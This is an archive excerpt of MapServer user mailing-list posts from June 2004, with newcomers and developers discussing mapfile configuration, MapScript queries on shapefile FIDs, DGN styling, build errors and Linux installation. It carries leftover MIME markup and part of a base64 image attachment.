PHP/MapScript to query MapInfo Tab data. I've got some problems. 1. How to write Mapfile. I mean how I can get information needed. Are they contained in the orginal file or to be defined by the user? These information includes layer, type, feature and many other geographical info. 2. How to use PHP/MapScript to access MapInfo Tab data? Can I use OGR connection or php_ogr? which is better or powerful? Could somebody offer an example of it? 3. What about Template file? Is it still neccessary if PHP/MapScript is used? Tons of thanks for answering questions. Best regards, Zhengda Lu --------------------------------- Do You Yahoo!? 100?????????????????????????????????? --0-1071427848-1088384849=:68064 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
Hi, I am a newbie to MapServer. I'm now trying to use PHP/MapScript to query MapInfo Tab data. I've got some problems.
1. How to write Mapfile. I mean how I can get information needed. Are they contained in the orginal file or to be defined by the user? These information includes layer, type, feature and many other geographical info.
2. How to use PHP/MapScript to access MapInfo Tab data? Can I use OGR connection or php_ogr? which is better or powerful? Could somebody offer an example of it?
3. What about Template file? Is it still neccessary if PHP/MapScript is used?
Tons of thanks for answering questions.
Best regards,
Zhengda Lu



Do You Yahoo!?
100?????????????????????????????????? --0-1071427848-1088384849=:68064-- From bluebirdyan at sohu.com Sun Jun 27 19:58:08 2004 From: bluebirdyan at sohu.com (Dell Yan) Date: Mon, 28 Jun 2004 10:58:08 +0800 Subject: [Mapserver-users] Can I render imageObj with GDI+ on windows platform???? In-Reply-To: Message-ID: I want to develop a MS windows-base GIS desktop solution, I think mapserver is a good choice:),so I want to modify source code of MS to redirect draw action to GDI+ , I don't want draw map image after it has created and save to file system, the problem is: How can I render map image to window with GDI++ ?? one solution is : render the map image that created by GD to window,but I can't know how to do it:( the other solution is : render the shape elments of Geo-objects to window with GD directly,how to do it? yan From Antti.Roppola at brs.gov.au Sun Jun 27 20:49:34 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Mon, 28 Jun 2004 13:49:34 +1000 Subject: [Mapserver-users] .map metadata....help me! Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87079FDAFC@afeb-ms-02> Hi Oliver, I would start with the demostration project. Get it running first, then look at substituting your own data, initially with just one sile layer, and building up as you get confident. The Mapserver demo/tutorial project can be found here: http://mapserver.gis.umn.edu/doc40/getstarted-howto.html While the map file reference will let you look up what the fields mean: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html Or you could try this tutorial: http://terrasip.gis.umn.edu/projects/tutorial/ Cheers, Antti -----Original Message----- From: Oliver Ishmael [mailto:oliver_ishmael at hotmail.com] Sent: Sunday, 27 June 2004 9:04 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] .map metadata....help me! I have recently started using Mapserver and have fallen at the first hurdle! Where can i find the information required for the .MAP file for my data... such as IMAGETYPE EXTENT SIZE SHAPEPATH IMAGECOLOUR PROJECTION Many thanks in advance for any help/advice that you can provide. Cheers Olly Ishmael _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bluebirdyan at sohu.com Mon Jun 28 00:04:37 2004 From: bluebirdyan at sohu.com (Dell Yan) Date: Mon, 28 Jun 2004 15:04:37 +0800 Subject: [Mapserver-users] ask again :Can I render imageObj with GDI+ on windows platform???? Message-ID: I want to develop a MS windows-base GIS desktop solution, I think mapserver is a good choice:),so I want to modify source code of MS to redirect draw action to GDI+ , I don't want draw map image after it has created and save to file system, the problem is: How can I render map image to window with GDI++ ?? one solution is : render the map image that created by GD to window,but I can't know how to do it:( the other solution is : render the shape elments of Geo-objects to window with GD directly,how to do it? yan From mapserver_konf at centrum.sk Mon Jun 28 02:19:22 2004 From: mapserver_konf at centrum.sk (Ing.Peter Misovic) Date: Mon, 28 Jun 2004 11:19:22 +0200 Subject: [Mapserver-users] Mapserver-mapscript make error Message-ID: <20040628091936Z478378-14848+23248@mail1.centrum.sk> Hi all here, i would like to ask for some help with mapserver-mapscript compiling. I'm not advanced user of linux administration, but i like to work on my projects useing mapserver-mapscript. I have made comfigure command s like this : ./configure --with-wmsclient --with-gdal --with-ogr --with-postgis --with-php=/root/gis-install/apache+mysql+php/php-4.3.7/main/ --with-httpd=/usr/local/apache2/bin/httpd This works fine, but during make command error occured : http://thailon.at.box.sk/other/mapserver/mapserver-mapscript-make-error.txt Can you help my successfully to build mapserver + mapscript application ? Mapserver was propably maked ok , because i use mapserv from this error make proces and runed demo data and it works fine ... Thank you, Thailon --------------------------------------------------------- http://mail.centrum.sk/ - Chce? nov? e-mail, zria? si ho! From palle at mail-online.dk Mon Jun 28 00:44:19 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Mon, 28 Jun 2004 09:44:19 +0200 Subject: [Mapserver-users] problem adding north arrow to map In-Reply-To: References: Message-ID: I wrote the north arrow entry in the FAQ, so I felt obliged to something about it. I have updated the entry to use a style. Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: "Steve Lime" To: , , Date: Wed, 23 Jun 2004 11:17:41 -0500 Subject: RE: [Mapserver-users] problem adding north arrow to map > The SYMBOL really should be inside the STYLE object, that would make > it > less of a kludge. The old keywords at the class level really affect > one > of two styles behind the scenes. One main one and one for overlay. > Folks > should move away from those shortcuts. Anyway, the behavior described > is > really a bug. A SYMBOL should be enough to create a STYLE, just as a > COLOR or OUTLINECOLOR can. I've fixed this in the 4.3 tree. > > Steve > > >>> "Charlton Purvis" 6/23/2004 10:10:37 AM >>> > I'm sure you'll get a better answer than my hackneyed approach, but I > found that a CLASS needs a COLOR in order to show up. For some > reason > for CLASS-es that really shouldn't have a COLOR (like yours), the > empty > STLE does the trick. > > But I will now move aside for those who know the nitty gritty . . . > > [Charlton bows gracefully as others enter stage right.] > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users F? en gratis emailkonto her: www.mail-online.dk ----------------------------------------------- Deltag i en lille brugerunders?gelse p? nettet, og vind et gavekort p? 50.000 kroner..! www.nyhedsbasen.dk/konkurrence From v.winkler at geotec.de Mon Jun 28 06:00:24 2004 From: v.winkler at geotec.de (Winkler, Viola) Date: Mon, 28 Jun 2004 15:00:24 +0200 Subject: [Mapserver-users] OGR + DGN CLASS Definition Message-ID: <5B70A170ED0ACE4B8A095B92A74B43480FDC83@server2.geotec.local> Hallo List, I work with an dgn file in the mapserver by using STYLEITEM 'AUTO'. It works fine. But I want to know how I could change the Styles (color, size) manually. Does anybody knows it????? My Layerdefinition is seen next. The Definitions in the ClassReference are dummies. They don't work like in a layer with shapefile. Viola LAYER STATUS On #GROUP DGN CONNECTIONTYPE OGR CONNECTION "C:/Inetpub/wwwroot/Projekte/03021_TZB/data/bahntrasse2dV7.dgn" NAME "Bahntrasse" TYPE Line TOLERANCE 10 STYLEITEM "AUTO" METADATA WMS_TITLE "Trassierungsentwurf Stand: 24.04.03" WMS_SRS "EPSG:2398" WMS_GROUP_TITLE "OGR-DGN Test Files" END PROJECTION "init=epsg:2398" END CLASS # EXPRESSION /./ # NAME '' COLOR 255 103 102 SIZE 20 END DUMP TRUE END From trex0003 at umn.edu Mon Jun 28 08:53:21 2004 From: trex0003 at umn.edu (Dale Trexel) Date: Mon, 28 Jun 2004 10:53:21 -0500 Subject: [Mapserver-users] Pre-basics of a Linux install? Message-ID: <1944468422.20040628105321@umn.edu> Hello folks, I've decided to take the plunge and learn to use not only MapServer, but also Linux as the OS. (I'm already rather familiar with ESRI products in Windows, and I'm anxious to learn some alternatives, especially for making spatial data available online.) I've been listening to the mapserver-users list for about a week and I've been reading about Linux and related topics from various sources for longer than that. But I remain confused! I am getting the sneaking suspicion that in order to really understand what is going on, I need to learn how to program in C. The MapServer web page, wiki, and mailing list archives have been very informative, but I still have a lot of simple newbie questions that I'd like to ask, but which would end up swamping out this mailing list - especially questions that aren't directly related to MapServer itself. So, to start, I'd like to ask one main question: "Where can I find good tutorials on Linux, Apache, and the basics of installing software that are newbie-friendly?" By newbie-friendly, I mean things like NOT reverting to exclusive use of acronyms or abbreviations immediately after the first use of a new term (wouldn't it be nice if we all COULD learn a new language by simply hearing each word defined once?); a glossary would be helpful, especially if linked via hypertext in the tutorial; attempts to use "plain English" wherever possible, making the fewest assumptions possible about the background knowledge of the reader; a preference for conceptual descriptions of basic components and how they go together, rather than detailed information about specific components and their multitudes of possible settings. I'm making progress in my own installation, but it would be nice to have answered such simple questions as "Does it matter which directory I un-tar my source code in?" and "Ok, I went through the ./configure, make, make install, but how do I know it worked, and how do I know where stuff went?" and "How do I tell what version of program/library X is installed?" etc., ad nauseum. Thanks! Dale Trexel Conservation Biology Program University of Minnesota From tjmitchell at riverside.bc.ca Mon Jun 28 08:19:51 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Mon, 28 Jun 2004 08:19:51 -0700 Subject: [Mapserver-users] OGR + DGN CLASS Definition In-Reply-To: <5B70A170ED0ACE4B8A095B92A74B43480FDC83@server2.geotec.local> Message-ID: You probably can't use STYLEITEM "AUTO" and also define your own style classes. Have you tried removing STYLEITEM? Also be sure to test that your class is valid by using it against data that you know works. From looking at your example, SIZE 20, probably doesn't do anything. Since a "symbol" is not defined to draw this with, I'm pretty sure you'll still only get a 1 pixel wide line. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/28/2004 06:00:24 AM: > Hallo List, > > I work with an dgn file in the mapserver by using STYLEITEM 'AUTO'. It > works fine. But I want to know how I could change the Styles (color, > size) manually. Does anybody knows it????? My Layerdefinition is seen > next. The Definitions in the ClassReference are dummies. They don't work > like in a layer with shapefile. > > Viola > > LAYER > STATUS On > #GROUP DGN > CONNECTIONTYPE OGR > CONNECTION > "C:/Inetpub/wwwroot/Projekte/03021_TZB/data/bahntrasse2dV7.dgn" > NAME "Bahntrasse" > TYPE Line > TOLERANCE 10 > STYLEITEM "AUTO" > METADATA > WMS_TITLE "Trassierungsentwurf Stand: 24.04.03" > WMS_SRS "EPSG:2398" > WMS_GROUP_TITLE "OGR-DGN Test Files" > END > PROJECTION > "init=epsg:2398" > END > > > CLASS > # EXPRESSION /./ > # NAME '' > COLOR 255 103 102 > SIZE 20 > END > DUMP TRUE > > END > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gerry.creager at tamu.edu Mon Jun 28 08:20:24 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Mon, 28 Jun 2004 10:20:24 -0500 Subject: [Mapserver-users] Pre-basics of a Linux install? In-Reply-To: <1944468422.20040628105321@umn.edu> References: <1944468422.20040628105321@umn.edu> Message-ID: <40E03738.5010706@tamu.edu> Look at the wiki for installation steps. Try this as a starting point. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?RedHat9AndMapserver40 An alternative is to go to the Refractions RPMs page, here: http://postgis.refractions.net/rpms/ and find the version you're running, snag all the appropriate *(latest)* rpms, and install. It'll come up as MS 4.0 but that works, generally (minus some recent, and very good, enhancements) and will get you started. After you've looked at the Wiki and played a little bit, you'll be much more comfortable with the install, I think, and will be better able to focus install questions. Gerry Dale Trexel wrote: > Hello folks, > > I've decided to take the plunge and learn to use not only MapServer, > but also Linux as the OS. (I'm already rather familiar with ESRI > products in Windows, and I'm anxious to learn some alternatives, > especially for making spatial data available online.) I've been > listening to the mapserver-users list for about a week and I've been > reading about Linux and related topics from various sources for longer > than that. But I remain confused! I am getting the sneaking suspicion > that in order to really understand what is going on, I need to learn > how to program in C. > > The MapServer web page, wiki, and mailing list archives have been very > informative, but I still have a lot of simple newbie questions that > I'd like to ask, but which would end up swamping out this mailing > list - especially questions that aren't directly related to MapServer > itself. So, to start, I'd like to ask one main question: > > "Where can I find good tutorials on Linux, Apache, and the basics of > installing software that are newbie-friendly?" > > By newbie-friendly, I mean things like NOT reverting to exclusive use > of acronyms or abbreviations immediately after the first use of a new > term (wouldn't it be nice if we all COULD learn a new language by > simply hearing each word defined once?); a glossary would be helpful, > especially if linked via hypertext in the tutorial; attempts to use > "plain English" wherever possible, making the fewest assumptions > possible about the background knowledge of the reader; a preference > for conceptual descriptions of basic components and how they go > together, rather than detailed information about specific components > and their multitudes of possible settings. > > I'm making progress in my own installation, but it would be nice to > have answered such simple questions as "Does it matter which directory > I un-tar my source code in?" and "Ok, I went through the ./configure, > make, make install, but how do I know it worked, and how do I know > where stuff went?" and "How do I tell what version of program/library > X is installed?" etc., ad nauseum. > > Thanks! > > Dale Trexel > Conservation Biology Program > University of Minnesota > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From tjmitchell at riverside.bc.ca Mon Jun 28 08:26:41 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Mon, 28 Jun 2004 08:26:41 -0700 Subject: [Mapserver-users] Pre-basics of a Linux install? In-Reply-To: <1944468422.20040628105321@umn.edu> Message-ID: Hi Dale, glad to see you are ambitious and interested. It's not clear how low you want to get into the operating system. "Newbie" to me implies you would like to avoid compiling source code and running command line/shell setup stuff - but I've been wrong before. With that assumption in mind I suggest you seek out a linux distribution that will help provide you with easily installable packages, with a graphical package manager, like SuSE linux and it's YAST system tool. That would take care of getting Apache running (and help to keep it patched with security updates!!). Then when you have Apache running, it's a matter of configuring Mapserver...that's another matter and most likely will drop you to the command line and require some source code compiling. However, the end goal of a recent project is to help provide an easily "installable" package for Mapserver and related utilities. MapServer isn't ready in that package yet, though. More info at: http://harmeny.com/twiki/bin/view/Fgs Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/28/2004 08:53:21 AM: > Hello folks, > > I've decided to take the plunge and learn to use not only MapServer, > but also Linux as the OS. (I'm already rather familiar with ESRI > products in Windows, and I'm anxious to learn some alternatives, > especially for making spatial data available online.) I've been > listening to the mapserver-users list for about a week and I've been > reading about Linux and related topics from various sources for longer > than that. But I remain confused! I am getting the sneaking suspicion > that in order to really understand what is going on, I need to learn > how to program in C. > > The MapServer web page, wiki, and mailing list archives have been very > informative, but I still have a lot of simple newbie questions that > I'd like to ask, but which would end up swamping out this mailing > list - especially questions that aren't directly related to MapServer > itself. So, to start, I'd like to ask one main question: > > "Where can I find good tutorials on Linux, Apache, and the basics of > installing software that are newbie-friendly?" > > By newbie-friendly, I mean things like NOT reverting to exclusive use > of acronyms or abbreviations immediately after the first use of a new > term (wouldn't it be nice if we all COULD learn a new language by > simply hearing each word defined once?); a glossary would be helpful, > especially if linked via hypertext in the tutorial; attempts to use > "plain English" wherever possible, making the fewest assumptions > possible about the background knowledge of the reader; a preference > for conceptual descriptions of basic components and how they go > together, rather than detailed information about specific components > and their multitudes of possible settings. > > I'm making progress in my own installation, but it would be nice to > have answered such simple questions as "Does it matter which directory > I un-tar my source code in?" and "Ok, I went through the ./configure, > make, make install, but how do I know it worked, and how do I know > where stuff went?" and "How do I tell what version of program/library > X is installed?" etc., ad nauseum. > > Thanks! > > Dale Trexel > Conservation Biology Program > University of Minnesota > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From johnicksanders at yahoo.ca Mon Jun 28 08:48:02 2004 From: johnicksanders at yahoo.ca (Nick Sanders) Date: Mon, 28 Jun 2004 11:48:02 -0400 (EDT) Subject: [Mapserver-users] unsuscribe Message-ID: <20040628154802.75185.qmail@web20323.mail.yahoo.com> --0-335551439-1088437682=:74803 Content-Type: text/plain; charset=us-ascii unsuscribe me --------------------------------- Post your free ad now! Yahoo! Canada Personals --0-335551439-1088437682=:74803 Content-Type: text/html; charset=us-ascii
unsuscribe me



Post your free ad now! Yahoo! Canada Personals
--0-335551439-1088437682=:74803-- From bob.basques at ci.stpaul.mn.us Mon Jun 28 09:01:32 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Mon, 28 Jun 2004 11:01:32 -0500 Subject: [Mapserver-users] Map file organization. In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB070B36D5@ptolemy.topozone.com> References: <2A6FDD75AE04BE4A9E8C918D3C09FB070B36D5@ptolemy.topozone.com> Message-ID: <40E040DC.4010305@ci.stpaul.mn.us> Ed McNierney wrote: >Bob - > >I think you might want to give it a try. Your question said you wanted >"something like an include (c)", and my suggestion as as close to that >as you can get ! > >I agree that a run-time #incldue and #define mechanism would be very >convenient. However, any such mechanism would need to be processed for >EVERY map request; even if a map object is loaded and reused, it still >gets processed for every load. Since most of the time map files change >infrequently (relative to the number of maps rendered) a preprocessing >option is preferable. > Maybe that's what I'm really after in the end, some way of telling Mapserver which pieces of MAP file to process, maybe it's something between MapServer and the Map file. Maybe a set MODE of operation or some such. The idea would be to only process those MapFile Elements associated with a particular layer being called. I'm really not speaking from a large base of experience about this. I would suppose that I'll figure out that there is such a mechanism to do this or something close already. Thanks for keeping me on the straight and narrow on the topic. :c) bobb > But then you also know that I'm a big fan of >preprocessing everything you can! > > - Ed > > > > > From dbz at soli.cl Mon Jun 28 09:49:00 2004 From: dbz at soli.cl (Daniel Berstein) Date: Mon, 28 Jun 2004 12:49:00 -0400 Subject: [Mapserver-users] Query bug or feature? Message-ID: <654890324.20040628124900@soli.cl> -----BEGIN PGP SIGNED MESSAGE----- Hash: MD5 HI, I've found a limitation on the amount of vertexes I can supply to the IMGSHAPE parameters in NQUERY mode. From my test, Mapserver 4.2 (on Windows XP Home), crashes if I provide more than eight (8) vertexes. Has someone else seen this behaviour? Any workaround? Regards, Daniel Berstein dbz at soli.cl -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUAQOBL/2ieUGjTlDsfAQF3hQP/XtI8UibEWkQFYRcgcyBNGwUeuC5OZ4hD Gr4PVLLfHSIh0pXBM52FlHKOsAXFWWsMCtXtB1eesqUHsaFG5rfkJ7b4bATqkpHj 9fltWhT14OhTAt39R01ePCaETP+xpN6vhYMY9YpfF54qfkhRoLEYoWgX5XE1XgPL eVeqjvB0Ymg= =tI+o -----END PGP SIGNATURE----- From markadams at cuestasys.com Mon Jun 28 09:52:52 2004 From: markadams at cuestasys.com (Mark Adams) Date: Mon, 28 Jun 2004 12:52:52 -0400 Subject: [Mapserver-users] Using the shapefile FID in a query Message-ID: <002501c45d30$5a681340$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0026_01C45D0E.D3567340 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I=92m puzzled over the behaviour of mapserver in returning query results from shapefiles. It appears the FID field which is present in all of the shape files I=92m using does not get returned by mapserver when we use = any of the mapscript query functions. There is no error, the field simply isn=92t present in the return value. Is this by design, and is there a = way around this? =20 This is causing me trouble as I need to have a generic way of identifying a specific (unique) feature. For example, if I query a layer and get back a list of 8 results from that query, I want to present these to the user and give them the option of separately clicking on and zooming to each of those items. To zoom and highlight a specific item I need to use the FID =96 it=92s the only unique key I can count on.=20 =20 Thanks in advance. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0026_01C45D0E.D3567340 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

I’m puzzled over the behaviour of mapserver in returning query results from shapefiles. It appears the FID field which = is present in all of the shape files I’m using does not get returned = by mapserver when we use any of the mapscript query functions. There is no = error, the field simply isn’t present in the return value. Is this by = design, and is there a way around this?

 

This is causing me trouble as I need to have a = generic way of identifying a specific (unique) feature. For example, if I query a = layer and get back a list of 8 results from that query, I want to present these to = the user and give them the option of separately clicking on and zooming to = each of those items. To zoom and highlight a specific item I need to use the FID = – it’s the only unique key I can count on. =

 

Thanks in advance.

 

------------------= ------------

Mark = Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South Service = Road

Burlington, ON = L7L = 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0026_01C45D0E.D3567340-- From steve.lime at dnr.state.mn.us Mon Jun 28 10:43:21 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 28 Jun 2004 12:43:21 -0500 Subject: [Mapserver-users] Using the shapefile FID in a query Message-ID: Can you share a shapefile? Did you create the FID field or is some other piece of software reporting its existance? ArcView will show a sequential number but that's not part of the shapefile. You might also share your script, or at least a bit of it. Queries do return an index number and that can be used to retrieve features individually. I assume the INDEXQUERY mode of the CGI program is also present in MapScript using something queryByIndex method... Steve >>> "Mark Adams" 06/28/04 11:52 AM >>> I'm puzzled over the behaviour of mapserver in returning query results from shapefiles. It appears the FID field which is present in all of the shape files I'm using does not get returned by mapserver when we use any of the mapscript query functions. There is no error, the field simply isn't present in the return value. Is this by design, and is there a way around this? This is causing me trouble as I need to have a generic way of identifying a specific (unique) feature. For example, if I query a layer and get back a list of 8 results from that query, I want to present these to the user and give them the option of separately clicking on and zooming to each of those items. To zoom and highlight a specific item I need to use the FID * it's the only unique key I can count on. Thanks in advance. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com From huey.brantley at vanderbilt.edu Mon Jun 28 11:14:18 2004 From: huey.brantley at vanderbilt.edu (Huey Brantley) Date: Mon, 28 Jun 2004 13:14:18 -0500 Subject: [Mapserver-users] Using the shapefile FID in a query In-Reply-To: References: Message-ID: <40E05FFA.5020606@vanderbilt.edu> This is a multi-part message in MIME format. --------------090001050406050102070200 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Do you get a OBJECTID field returned? If so, that's the FID. Steve Lime wrote: >Can you share a shapefile? Did you create the FID field or is some other piece of software reporting its existance? ArcView will show a sequential number but that's not part of the shapefile. You might also share your script, or at least a bit of it. Queries do return an index number and that can be used to retrieve features individually. I assume the INDEXQUERY mode of the CGI program is also present in MapScript using something queryByIndex method... > >Steve > > > >>>>"Mark Adams" 06/28/04 11:52 AM >>> >>>> >>>> >I'm puzzled over the behaviour of mapserver in returning query results >from shapefiles. It appears the FID field which is present in all of the >shape files I'm using does not get returned by mapserver when we use any >of the mapscript query functions. There is no error, the field simply >isn't present in the return value. Is this by design, and is there a way >around this? > >This is causing me trouble as I need to have a generic way of >identifying a specific (unique) feature. For example, if I query a layer >and get back a list of 8 results from that query, I want to present >these to the user and give them the option of separately clicking on and >zooming to each of those items. To zoom and highlight a specific item I >need to use the FID * it's the only unique key I can count on. > >Thanks in advance. > >------------------------------ >Mark Adams >Business & Systems Analyst >Cuesta Systems Inc. >5230 South Service Road >Burlington, ON L7L 5K2 >Phone: 905-333-4544 x14 >Fax: 905-333-0455 >Email: markadams at cuestasys.com > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --------------090001050406050102070200 Content-Type: multipart/related; boundary="------------010309080703020309050008" --------------010309080703020309050008 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Do you get a OBJECTID field returned? If so, that's the FID.




Steve Lime wrote:
Can you share a shapefile? Did you create the FID field or is some other piece of software reporting its existance? ArcView will show a sequential number but that's not part of the shapefile. You might also share your script, or at least a bit of it. Queries do return an index number and that can be used to retrieve features individually. I assume the INDEXQUERY mode of the CGI program is also present in MapScript using something queryByIndex method...

Steve

  
"Mark Adams" <markadams at cuestasys.com> 06/28/04 11:52 AM >>>
        
I'm puzzled over the behaviour of mapserver in returning query results
from shapefiles. It appears the FID field which is present in all of the
shape files I'm using does not get returned by mapserver when we use any
of the mapscript query functions. There is no error, the field simply
isn't present in the return value. Is this by design, and is there a way
around this?
 
This is causing me trouble as I need to have a generic way of
identifying a specific (unique) feature. For example, if I query a layer
and get back a list of 8 results from that query, I want to present
these to the user and give them the option of separately clicking on and
zooming to each of those items. To zoom and highlight a specific item I
need to use the FID * it's the only unique key I can count on. 
 
Thanks in advance.
 
------------------------------
Mark Adams
Business & Systems Analyst
Cuesta Systems Inc.
5230 South Service Road
Burlington, ON L7L 5K2
Phone: 905-333-4544 x14
Fax: 905-333-0455
Email: markadams at cuestasys.com
 


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

  
--------------010309080703020309050008 Content-Type: image/jpeg; name="fid.jpg" Content-Transfer-Encoding: base64 Content-ID: Content-Disposition: inline; filename="fid.jpg" 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 